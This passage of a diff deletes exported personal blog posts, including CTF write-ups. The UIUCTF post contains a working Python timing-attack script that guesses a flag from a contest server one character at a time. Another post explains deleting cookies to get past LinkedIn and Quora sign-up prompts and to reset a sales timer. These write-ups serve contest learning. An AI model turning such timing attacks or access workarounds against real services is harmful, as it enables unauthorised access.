a request for every input and waited for the server to respond, youd get a huge delay, even for very fast
connections. This is one of the hardest problems to tackle in real-time RPGs: how can we verify that the
user is moving as they should, while still running the game as fast as we can?</p>
<p name="90a9" id="90a9" class="graf graf--p graf-after--p graf--trailing">Thats all I have today. Thanks
for reading!</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/eb9637dc5b1c"><time class="dt-published"
datetime="2016-12-01T22:26:36.000Z">December 1, 2016</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/lightning-speed-run-eb9637dc5b1c" class="p-canonical">Canonical link</a>
</p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,32 +0,0 @@
---
title: XinIRC development
date: 2016-12-30T05:19:21.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="a4a4" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="7483" id="7483" class="graf graf--p graf-after--h3">Today, I marked the <a
href="https://github.com/failedxyz/xinircd/releases/tag/v0.1a"
data-href="https://github.com/failedxyz/xinircd/releases/tag/v0.1a"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">initial release</a> of XinIRCd,
an IRC server that I just started working on recently. As of now, its still heavily inspired by InspIRCd,
from its configuration wizard to its command handling, but Ill start adding more features soon.</p>
<p name="0b8e" id="0b8e" class="graf graf--p graf-after--p graf--trailing">Ive still got a couple weeks
left of break, so Ill try to get as much done in that time as possible.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/6e7dfe8bce05"><time class="dt-published" datetime="2016-12-30T05:19:21.000Z">December
30, 2016</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/xinirc-development-6e7dfe8bce05" class="p-canonical">Canonical link</a>
</p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,51 +0,0 @@
---
title: Wi-Fi Problems when Installing Linux on ASUS machines
date: 2017-01-03T22:58:06.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="0ff7" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="3a83" id="3a83" class="graf graf--p graf-after--h3">Recently, Ive been exploring installing
various Linux distributions over my Windows installation. The main reason for doing this would be not
having to pull up a virtual machine every time I wanted to do anything.</p>
<p name="3a29" id="3a29" class="graf graf--p graf-after--p">But with both Arch Linux and Ubuntu, I kept
running into the same problem: I couldnt connect to Wi-Fi. I poked around, and it said that my network
switch (the hardware one) was switched off. No matter what I tried to do with <code
class="markup--code markup--p-code">rfkill</code>, I couldnt get the physical switch back on.</p>
<p name="43b7" id="43b7" class="graf graf--p graf-after--p">My ASUS computer doesnt have a network switch.
Theres an airplane mode button, but that didnt really do anything either. I eventually found the
solution in <a href="https://ubuntuforums.org/showthread.php?t=2181558"
data-href="https://ubuntuforums.org/showthread.php?t=2181558" class="markup--anchor markup--p-anchor"
rel="noopener" target="_blank">this thread</a>, but Ill repeat it here.</p>
<pre name="32a3" id="32a3"
class="graf graf--pre graf-after--p">echo &quot;options asus_nb_wmi wapf=4&quot; | sudo tee /etc/modprobe.d/asus_nb_wmi.conf</pre>
<p name="203e" id="203e" class="graf graf--p graf-after--pre">..or simply put that line in that file. <code
class="markup--code markup--p-code">asus_nb_wmi</code> is the driver for the Wi-Fi module. What does
<code class="markup--code markup--p-code">wapf=4</code> do? Well, according to <a
href="https://github.com/rufferson/ashs" data-href="https://github.com/rufferson/ashs"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">this</a>,
</p>
<blockquote name="9624" id="9624" class="graf graf--blockquote graf-after--p">When WAPF = 4driver sends
ACPI scancode 0x88 which is converted by asus-wmi to RFKILL key, which is processed by all registerd
rfkill drivers to toggle their state.</blockquote>
<p name="6456" id="6456" class="graf graf--p graf-after--blockquote">Essentially, it is making <code
class="markup--code markup--p-code">rfkill</code> recognize that the hardware switch is not off, so the
Wi-Fi works again.</p>
<p name="ca42" id="ca42" class="graf graf--p graf-after--p graf--trailing">Thanks for reading!</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/75be2b8b7cc3"><time class="dt-published" datetime="2017-01-03T22:58:06.000Z">January
3, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/wi-fi-problems-when-installing-linux-on-asus-machines-75be2b8b7cc3"
class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,63 +0,0 @@
---
title: Watch out, returning users!
date: 2017-01-07T02:58:17.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="0a81" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="2c44" id="2c44" class="graf graf--p graf-after--h3">A lot of websites put <strong
class="markup--strong markup--p-strong">cookies</strong> on your computer in order to save information
about your previous visits to the site. The most common use case would be storing a key that would allow
your computer to auto-login to the site the next time you visited it (rather than forcing you to
re-login).</p>
<p name="a1d8" id="a1d8" class="graf graf--p graf-after--p">Many sites also put cookies on your computer to
figure out if youve visited the site before, and may change behavior based on whether youre a new user,
or youre a returning user.</p>
<p name="a6fd" id="a6fd" class="graf graf--p graf-after--p">For example, take a look at <a
href="https://www.livingsocial.com/deals/1630304-pokemon-go-course"
data-href="https://www.livingsocial.com/deals/1630304-pokemon-go-course"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">this website</a>. Lets ignore
the product that its advertising for now and just focus on the “Limited Time Savings” offer on the right
side. Isnt it strange how the timer started at 5:00 exactly? In other words, either you were incredibly
lucky to have visited the site <em class="markup--em markup--p-em">exactly</em> 5 minutes before the offer
ended, or theres some other trick theyre pulling.</p>
<p name="1b3d" id="1b3d" class="graf graf--p graf-after--p">It turns out that one of the cookies (I havent
looked into it enough, but if you poke around, you should be able to find it) they store <strong
class="markup--strong markup--p-strong">on your machine</strong> determines when this limited time offer
either started or expires. What it means is that the first time you visit the site, the cookie is created
and you have 5 minutes from that moment to do this purchase. Afterwards, the cookie still exists on your
computer, so it wont offer you the deal anymore.</p>
<p name="49b9" id="49b9" class="graf graf--p graf-after--p">But this means that if you get rid of the
cookie, you can get the 5 minute deal back. If you get an extension such as <a
href="https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg"
data-href="https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">EditThisCookie</a> thats able to
view and manipulate cookies, then you can have a lot better control of what websites are storing on your
computer.</p>
<p name="4afc" id="4afc" class="graf graf--p graf-after--p">Some other websites this trick works on include
<a href="https://www.linkedin.com/" data-href="https://www.linkedin.com/"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">LinkedIn</a> and <a
href="https://www.quora.com/" data-href="https://www.quora.com/" class="markup--anchor markup--p-anchor"
rel="noopener" target="_blank">Quora</a>, which ask you to create an account to view content after the
first time you visit their site. If you dont want to create an account, then simply delete any cookies
theyve stored on your computer and you will be able to access the site as if it was your first time.
</p>
<p name="3490" id="3490" class="graf graf--p graf-after--p graf--trailing">Thats all. Thanks for reading!
</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/eccca70f4684"><time class="dt-published" datetime="2017-01-07T02:58:17.000Z">January
7, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/watch-out-returning-users-eccca70f4684" class="p-canonical">Canonical
link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,80 +0,0 @@
---
title: Why I think HTML is a programming language.
date: 2017-01-14T09:07:31.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="21e8" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="94a6" id="94a6" class="graf graf--p graf-after--h3">Yep, Im one of those people. Go ahead and
judge me, but at least hear me out first.</p>
<p name="7407" id="7407" class="graf graf--p graf-after--p">Obviously, the first thing we have to do in
order to answer the “Is HTML a programming language?” question is to define what a programming language
is. Lets literally take the term apart:</p>
<ul class="postList">
<li name="ede6" id="ede6" class="graf graf--li graf-after--p"><strong
class="markup--strong markup--li-strong">programming</strong>: Its when you tell a computer what to
do. For example, I can program a bot to respond to messages while Im away. Or I can program my phone to
wake up at 7:30 in the morning. Its all the same.</li>
<li name="2b5d" id="2b5d" class="graf graf--li graf-after--li"><strong
class="markup--strong markup--li-strong">language</strong>: A standard method of communication that is
accepted by both the speaker and the receiver. Except in this context, its not with humans but a
machine, so youre not really speaking.</li>
</ul>
<p name="832d" id="832d" class="graf graf--p graf-after--li">Following those definitions, a programming
language must be a method of communicating to the computers what you want it to do. These are rather loose
definitions that I came up with, but if you dont agree with that, you can stop reading now.</p>
<p name="ecc9" id="ecc9" class="graf graf--p graf-after--p">The primary purpose of HTML is to serve as a
method to display webpage data that is received from the server into a visual representation into your
browser. Thats just a fancy way of saying “you tell the browser where to put stuff”. Lets check if that
satisfies the above points:</p>
<ul class="postList">
<li name="d874" id="d874" class="graf graf--li graf-after--p">Youre telling the computer how to display
elements!</li>
<li name="2ae6" id="2ae6" class="graf graf--li graf-after--li">Youre using a system of communication that
both you and the computer understand.</li>
</ul>
<p name="fafb" id="fafb" class="graf graf--p graf-after--li">If you dont agree that the above two
demonstrate that HTML satisfies the requirements for a programming language that I laid out above, then
Id love to hear your thoughts.</p>
<p name="fbd3" id="fbd3" class="graf graf--p graf-after--p">So why are people so insistent that HTML is not
a programming language? Well, heres some of the reasons Ive seen so far.</p>
<ul class="postList">
<li name="7225" id="7225" class="graf graf--li graf--startsWithDoubleQuote graf-after--p">“You cant
perform arithmetic operations with HTML.” You cant perform arithmetic operations with HTML because
thats not what it was made for. thats like trying to use a hammer to screw in a screw. Doesnt make it
any less of a tool.</li>
<li name="4e0d" id="4e0d" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“It cant
process data.” Refer to the first point about arithmetic operations.</li>
<li name="3e94" id="3e94" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“It doesnt
produce executable code.” Why not? Lets say I put this line into an HTML file: <code
class="markup--code markup--li-code">&lt;br /&gt;</code>. Is it not telling the browser to create a
line break? Isnt that making it execute an instruction? Sure, you can say that the HTML isnt actually
creating the element, its the browser engine. But by that logic, no programming language actually
exists other than the binary data that the machine is executing, since thats whats really executing
all our code. If you dont put the elements in, the browser wont do anything, so HTML is giving the
browser instructions on what to do.</li>
<li name="537f" id="537f" class="graf graf--li graf--startsWithDoubleQuote graf-after--li">“Its not
Turing-complete.” Where did the requirement that programming languages had to be Turing-complete come
in? Just because your hammer isnt a Swiss army knife that can do everything, doesnt make it any less
of a tool.</li>
</ul>
<p name="28c1" id="28c1" class="graf graf--p graf-after--li graf--trailing">At the end of the day, this is
all just still my opinion. If you dont agree, please voice your opinions and convince me otherwise
(preferably using well-informed arguments)!</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/ccf34bd2758c"><time class="dt-published" datetime="2017-01-14T09:07:31.000Z">January
14, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/why-i-think-html-is-a-programming-language-ccf34bd2758c"
class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,33 +0,0 @@
---
title: So, you can detect whether I use an ad-blocker or not, eh?
date: 2017-02-16T03:07:43.893Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="fb3e" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="3093" id="3093" class="graf graf--p graf-after--h3">Guess its one less site Im going to be
wasting my time on now.</p>
<p name="55ab" id="55ab" class="graf graf--p graf-after--p">I know its an important part of making revenue
or whatever, but from the users standpoint, ads should be <em
class="markup--em markup--p-em">non-intrusive</em>. That means I should be able to do whatever I want on
the site without needing to bother looking at your advertisements.</p>
<p name="14a3" id="14a3" class="graf graf--p graf-after--p graf--trailing">Dont push advertisements into my
face. Promote good content that people want to see, and theyll automatically come back for more. Because
to be honest, I dont really care about your site enough to turn off my ad-blocker for it.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/3856335f209c"><time class="dt-published" datetime="2017-02-16T03:07:43.893Z">February
16, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/so-you-can-detect-whether-i-use-an-ad-blocker-or-not-eh-3856335f209c"
class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,100 +0,0 @@
---
title: EasyCTF 2017 Wrap-up
date: 2017-03-24T11:36:40.681Z
tags: [medium-blog]
---
EasyCTF just concluded this Monday!
Looking back on the competition, I'd say that this year was our best year ever.
Let's take a look at some of the stats.
- **5,837** users registered this year, playing on **2,742** teams.
Of those teams, **1,938** teams scored points.
- We had **63** challenges, which was close to our 68 last year.
- **10.7%** of all teams had 5 membersfull teams! In fact, there were more 5-member teams than there were 4-, 3-, and 2-member teams.
I'm really happy to see that so many people were willing to give us a week of their time to participate in our event and work through our challenges, despite the fact that we hadnt promised any prizes ahead of time.
I'd also like to give a shout-out to the entire dev team who helped monitor basically every point of contact that people had with us and creating amazing challenges.
## Improvements for next year
I still havent decided whether Ill be completely involved in organizing this event again next year.
I hope that Ill have some free time alongside my classes, but Id also like some more cooperation from the rest of the organizers.
The biggest problem we had this year was basically not working on anything until the week before the competition.
By that time, it was already too late. Lets take a closer look at what actually went wrong:
- **Lack of motivation.**
Im not sure people were actually busy during the entire year that we had planned to work, but there was definitely a lack of work put into organizing the competition.
We had some big ideas at the beginning of the year, but as time passed, the chances of those ideas becoming reality looked rather slim as no one wanted to be the first one to start working.
Somewhere in there I threw in a couple of deadlines, and we got a couple of problems written.
Had I not done that, I fear we would have had much fewer problems than we actually did.
- **No contact with sponsor companies.**
Contacting sponsors should have been one of the first things we did, since it takes a long time to sort out details and companies usually take at least two weeks to reply to emails anyway.
Towards the end, we did get an email from DigitalOcean saying they were willing to fund servers for our competition, but launch day came and we didnt hear back from them again.
- **No coordination.**
Some of the feedback Ive been hearing about this years competition is a shortage of actually “easy” problems.
We never really went through the competition and tried to lay out a “spectrum” of problems nor tackle it from the participants perspective.
Every problem was either just a “cool idea” someone had or “I feel like a CTF needs this.”
The intermediate web section was completely missing.
- **Unbalanced team.**
Our team comprised mainly of problem writers.
Thats great and all, but when it comes to things like contacting sponsor companies, writing the website, planning some kind of game, we basically have no resources to do those.
I spent my entire time developing OpenCTF, the platform that powered the competition, and I know for sure that was a task too large for me to handle.
Getting more web designers or people with other skills would have helped out a lot.
Ive also got a couple of points of reflection for prospective CTF organizers, so if youre planning to run a CTF, this is for you.
- **Participant experience takes first priority.**
A lot of organizers think the hardest part of running a CTF is getting good challenges.
And theyd be right.
But thats not to say that preparing a solid game infrastructure for flag submission is going to be something you can do last-minute.
When it comes to the participants experience, the first thing that they encounter is the website.
Then a few initial challenges.
Then probably the chat.
Make sure you have those down well and people will probably have a better initial impression of your CTF.
- **Some people are there to make you miserable.**
As the one in control, you need to account for those people.
Were lucky that we only had relatively few encounters with such people but do keep in mind that you are still running an event and that takes first priority.
During EasyCTF, there were a couple of people who thought it was funny to drop flags for hard challenges into the chat room.
When we tried to get them to stop, they would come back under different aliases in order to annoy us.
At that point we just shut down the entire chat room; the competition had to go on.
- **Ignore unconstructive negative feedback.**
Dont take it to heart, solve the problems, and move on.
Who cares if some random kid in IRC says your CTF is garbage?
Ask them what issues theyre having, fix them, and theyll be happy.
Its really not that complicated.
- **Docker.**
Is probably a good idea.
The learning curve is not bad and its a great way to create disposable containers that can restart easily.
Not only should you use Docker for your main competition website, you should also use it for all of the challenges that involve communicating with a server.
Heres something else I definitely have to share.
We had this autogen system that created different flags for different teams in order to discourage flag sharing.
Some people came up to us reporting that their flag wasnt working, when they clearly just took some other teams flag.
I didnt really do anything about it, but just thought it was pretty funny that they had the nerve to report it to us even though they were cheating.
So, whats the future for EasyCTF?
- Im seeing OpenCTF as a more permanent solution to our main platform.
Its a very complex piece of software and it would be insane to try to rewrite it from scratch.
Im in the process of creating an open-source version of it and making it customizable (for example, turning off features that you dont need like the programming judge) for CTF organizers.
- We had this project going on a while back for a CTF calendar that also hosted tasks.
I was also hoping that it would be able to replay entire competitions but that seems a bit too hopeful at this point.
It would be nice to just get the calendar revived.
- WeebCTF is happening again this summer, dates still yet to be decided.
If youre into anime (or even if youre not), come check it out!
- Applications for joining the organizing team for the next EasyCTF will open soon.
If there was something you didnt like about EasyCTF, and you think you could have done better, by all means, join the team!
Wed like to hear your ideas.
Thanks for reading, and I hope Ill be seeing you at the next CTF!
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/4bbd1ca68877"><time class="dt-published" datetime="2017-03-24T11:36:40.681Z">March
24, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/easyctf-2017-wrap-up-4bbd1ca68877" class="p-canonical">Canonical
link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>

View file

@ -1,94 +0,0 @@
---
title: VolgaCTF 2017 Writeups
date: 2017-03-26T21:52:31.553Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="0b53" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="e3cc" id="e3cc" class="graf graf--p graf-after--h3">I participated in VolgaCTF under the team Shell
Smash. We finished in 138th place with 600 points. Here are the write-ups for the problems that I did.</p>
<h3 name="bb61" id="bb61" class="graf graf--h3 graf-after--p">VC (50 points)</h3>
<p name="f5dc" id="f5dc" class="graf graf--p graf-after--h3">This was a pretty standard image analysis
problem. We are given two images that are relatively similar, except for a couple of bytes. If we just xor
the two images together, the flag appears in plain sight.</p>
<figure name="dee3" id="dee3" class="graf graf--figure graf--iframe graf-after--p">
<script src="https://gist.github.com/failedxyz/a7958fd7b5fff2c7b04de034cb9bc199.js"></script>
</figure>
<h3 name="1171" id="1171" class="graf graf--h3 graf-after--figure">PyCrypto (100 points)</h3>
<p name="3968" id="3968" class="graf graf--p graf-after--h3">We are given a Python file with an encrypt
function. Its using an encryption function from the <code
class="markup--code markup--p-code">pycryptography.so</code> library that was also given. By analyzing
the so, it looks like the encryption algorithm is simply an xor with the key, and if the key is shorter
than the message, then just repeat the key. This algorithm is known as a vigenère cipher, or repeating-key
xor cipher. Fortunately, I had some old code to crack this type of cipher exactly from cryptopals.</p>
<figure name="a89f" id="a89f" class="graf graf--figure graf--iframe graf-after--p">
<script src="https://gist.github.com/failedxyz/425c663e1cb56caa328a1e263ec1565e.js"></script>
</figure>
<h3 name="df11" id="df11" class="graf graf--h3 graf-after--figure">Angry Guessing Game (200 points)</h3>
<p name="9dc1" id="9dc1" class="graf graf--p graf-after--h3">The first step was to open this binary in IDA.
Its easy to get lost, because there are so many functions, so the first thing I did was hit Shift+F12 and
look at the strings. The one I was looking for, in particular, was “Youve entered the correct license
key!” If I found where this was called during execution, I could trace it back to the actual place where
it performs the check.</p>
<figure name="ca83" id="ca83" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="1*tOWToDf10V2YnUScoVAlhg.png" data-width="972" data-height="144"
src="https://cdn-images-1.medium.com/max/800/1*tOWToDf10V2YnUScoVAlhg.png">
<figcaption class="imageCaption">Using the strings to follow execution.</figcaption>
</figure>
<p name="4cd9" id="4cd9" class="graf graf--p graf-after--figure">Here you can see Ive found that sub_5F70
contains the code that checks whether youve already played 3 times, and tells the program to start asking
for a license key. Should it ask for a license key, it will redirect the execution to sub_6660, where it
actually prompts the user.</p>
<p name="990a" id="990a" class="graf graf--p graf-after--p">Im going to start from the bottom of sub_6660,
trying to follow what its returning, because ultimately the result of this function is either going to be
true/falsewhether it accepts your license key. Poking around, I found this call to an interesting
function: sub_67D0. Seems like its literally just checking your license key character by character.</p>
<figure name="e892" id="e892" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="1*m6YBCqASg66wa1I6IXlRtQ.png" data-width="484" data-height="776"
src="https://cdn-images-1.medium.com/max/800/1*m6YBCqASg66wa1I6IXlRtQ.png">
<figcaption class="imageCaption">The license key checker.</figcaption>
</figure>
<p name="ced2" id="ced2" class="graf graf--p graf-after--figure">I wonder what happens if you just convert
all of those values to ASCII?</p>
<figure name="fd19" id="fd19" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="1*KkjogeoBtk7d3Z-cslOu6w.png" data-width="667" data-height="785"
src="https://cdn-images-1.medium.com/max/800/1*KkjogeoBtk7d3Z-cslOu6w.png">
<figcaption class="imageCaption">The letters of the flag.</figcaption>
</figure>
<p name="780e" id="780e" class="graf graf--p graf-after--figure">Looks like our license key is the flag!</p>
<h3 name="25ef" id="25ef" class="graf graf--h3 graf-after--p">KeyPass (100 points)</h3>
<p name="ee4c" id="ee4c" class="graf graf--p graf-after--h3">I didnt actually finish this one during the
competition time, because I was being really stupid and not reading their hint. In this challenge, they
handed out an encrypted flag and a program that “generates secure encryption keys.”</p>
<p name="53fd" id="53fd" class="graf graf--p graf-after--p">Picking apart the binary, it looks like what the
program is doing is just generating a seed out of the passphrase that you give to it, by xoring every
character of your passphrase together. This was then used in an LCG to get “random” bytes out of a
dictionary of 82 bytes.</p>
<p name="4045" id="4045" class="graf graf--p graf-after--p">The problem with this method is, there a total
of about 128 values for this “seed,” because ASCII values range from 0 to 128, and since higher bits are
not involved, xor will never go out of that range either. So to solve the problem, you simply generate all
of the keys for seeds from 0 to 128. Ive reimplemented the key generation in Python here:</p>
<figure name="0cc9" id="0cc9" class="graf graf--figure graf--iframe graf-after--p">
<script src="https://gist.github.com/failedxyz/1cbc3a63152d095dca58f7b6d89a8b77.js"></script>
</figure>
<p name="acb2" id="acb2" class="graf graf--p graf-after--figure graf--trailing">So why couldnt I finish it?
Because when I was actually checking the key with <code
class="markup--code markup--p-code">openssl aes-128-cbc -d -in flag.zip.enc -out flag.zip -pass env:PASSWORD</code>,
I wasnt using the version of OpenSSL that they specified, version 1.1.0e. Lesson learned, I guess.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/632fa7821dca"><time class="dt-published" datetime="2017-03-26T21:52:31.553Z">March
26, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/volgactf-2017-writeups-632fa7821dca" class="p-canonical">Canonical
link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,117 +0,0 @@
---
title: UIUCTF 2017 Writeups
date: 2017-05-01T00:09:47.978Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="edd2" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="dca1" id="dca1" class="graf graf--p graf-after--h3">I competed in UIUCTF this year with Aaron Cao.
We ended up placing 23rd with 1300 points. Here are some of the solutions to the challenges I solved.</p>
<h3 name="f21d" id="f21d" class="graf graf--h3 graf-after--p">High School Crypto (100 points, crypto)</h3>
<p name="5d6b" id="5d6b" class="graf graf--p graf-after--h3">In this challenge, we are basically given some
encrypted information, as well as the following encryption program.</p>
<pre name="d6b3" id="d6b3"
class="graf graf--pre graf-after--p">import sys, itertools<br>if(len(sys.argv) != 3):<br> print(&quot;Usage: [FILE] [KEY]&quot;)<br> exit(-1)<br><br>filename = sys.argv[1]<br>key = sys.argv[2]<br><br>with open(filename, &#39;rb&#39;) as plaintext:<br> raw = plaintext.read()<br> print(len(raw))<br> with open(filename + &#39;.out&#39;, &#39;wb&#39;) as ciphertext:<br> for l, r in zip(raw, itertools.cycle(key)):<br> ciphertext.write( (l ^ ord(r)).to_bytes(1, byteorder=&#39;big&#39;) )</pre>
<p name="2402" id="2402" class="graf graf--p graf-after--pre">Upon not-so-close inspection, it seems like
its just a repeated-xor cipher. Using code that I had written for Cryptopals Set 1, I decoded it quickly,
obtaining a long plaintext, containing the flag.</p>
<h3 name="1b1a" id="1b1a" class="graf graf--h3 graf-after--p">Thematic (100 points, recon)</h3>
<p name="318b" id="318b" class="graf graf--p graf-after--h3"><a
href="https://twitter.com/SwiftOnSecurity/status/858092845886046209"
data-href="https://twitter.com/SwiftOnSecurity/status/858092845886046209"
class="markup--anchor markup--p-anchor" rel="nofollow noopener"
target="_blank">https://twitter.com/SwiftOnSecurity/status/858092845886046209</a></p>
<h3 name="f8de" id="f8de" class="graf graf--h3 graf-after--p">Taylors Magical Flag Oracle (150 points,
reversing)</h3>
<p name="6c04" id="6c04" class="graf graf--p graf-after--h3">Were given a flag-checking service that seems
to be vulnerable to timing attack. In essence, heres what happens: the service checks our flag character
by character; if that character is the same, move on to the next, otherwise, just return false, since we
know that the string cant be equal anyway. But in this case, the program delays by 0.25a significant
amount!before moving on, to prevent brute force? apparently. But theres one huge flaw.</p>
<p name="939a" id="939a" class="graf graf--p graf-after--p">If you brute force all of the possibilities for
the <em class="markup--em markup--p-em">next character</em>, theres going to be a significant time gap
between returns if you submit the right character vs. if you submit the wrong one. Heres what it means:
say I know the flag starts with <code class="markup--code markup--p-code">flag{</code> , which I do. Upon
submitting <code class="markup--code markup--p-code">flag{</code>, I know its going to be delaying for at
least 5 * 0.25, which is 1.25 seconds. I dont know the 6th character yet, but theres only 2 things that
can happen:</p>
<ul class="postList">
<li name="69d8" id="69d8" class="graf graf--li graf-after--p">I get it wrong; the program returns
immediately because it doesnt hit the sleep, and my result is return in ~1.25 seconds, with a bit of
latency, but not enough to make it &gt;1.5 seconds.</li>
<li name="95b5" id="95b5" class="graf graf--li graf-after--li">I get it right; the program sleeps for 0.25
before moving on because the pass has checked.</li>
</ul>
<p name="2016" id="2016" class="graf graf--p graf-after--li">Hopefully the problem becomes obvious now. If I
check how long it takes me to get my result, Ill be able to “guess” the password character by character.
Knowing this, here is the script I used to get the flag:</p>
<pre name="f905" id="f905"
class="graf graf--pre graf-after--p">import socket<br>from functools import wraps<br>from time import time<br>from string import printable</pre>
<pre name="4d70" id="4d70"
class="graf graf--pre graf-after--pre">addr = (&quot;challenge.uiuc.tf&quot;, 11340)<br>s = socket.socket()<br>s.connect(addr)</pre>
<pre name="05be" id="05be"
class="graf graf--pre graf-after--pre">def stopwatch(f):<br> <a href="http://twitter.com/wraps" data-href="http://twitter.com/wraps" class="markup--anchor markup--pre-anchor" title="Twitter profile for @wraps" rel="noopener" target="_blank">@wraps</a>(f)<br> def wrapper(*args, **kwargs):<br> start = time()<br> result = f(*args, **kwargs)<br> end = time()<br> return end - start<br> return wrapper</pre>
<pre name="017f" id="017f"
class="graf graf--pre graf-after--pre"><a href="http://twitter.com/stopwatch" data-href="http://twitter.com/stopwatch" class="markup--anchor markup--pre-anchor" title="Twitter profile for @stopwatch" rel="noopener" target="_blank">@stopwatch</a><br>def test_flag(flag):<br> global s<br> s.send(flag + &quot;\n&quot;)<br> s.recv(20) # &gt;</pre>
<pre name="4624" id="4624"
class="graf graf--pre graf-after--pre">s.recv(20) # &gt;<br>known_flag = &quot;flag{&quot;<br>while True:<br> for c in printable:<br> benchmark = 0.25 * (len(known_flag) + 1)<br> actual = test_flag(known_flag + c)<br> print c, benchmark, actual<br> if actual &gt; benchmark:<br> known_flag += c<br> print known_flag<br> break</pre>
<h3 name="0dea" id="0dea" class="graf graf--h3 graf-after--pre">babyrsa (200 points, crypto)</h3>
<pre name="c0da" id="c0da"
class="graf graf--pre graf-after--h3">n = 826280450476795403105390383916395625701073920777162153138597185953056944510888027904354828464602421249363674719063026424044747076553321187265165775178889032794638105579799203345357910166892700405175658568627675449699540840288382597105404255643311670752496397923267416409538484199324051251779098290351314013642933189000153869540797043267546151497242578717464980825955180662199508957183411268811625401646070827084944007483568527240194185553478349118552388947992831458170444492412952312967110446929914832061366940165718329077289379496793520793044453012845571593091239615903167358140251268988719634075550032402744471298472559374963794796831888972573597223883502207025864412727194467531305956804869282127211781893423868568924921460804452906287133831167209340798856323714333552031073990953099946860260440120550744737264831895097569281340675979651355169393606387485601024283179141075124116079680183641040638005340147490312370291020282845417263785200481799143148652902589069064306494803532124234850362800892646823909347208346956741220877224626765444423081432186871792825772139369254830825377015531518313838382717867736340509229694011716101360463757629023320658921011843627332643744464724204771008866440681008984222122706436344770910544932757<br>e = 5<br>c = 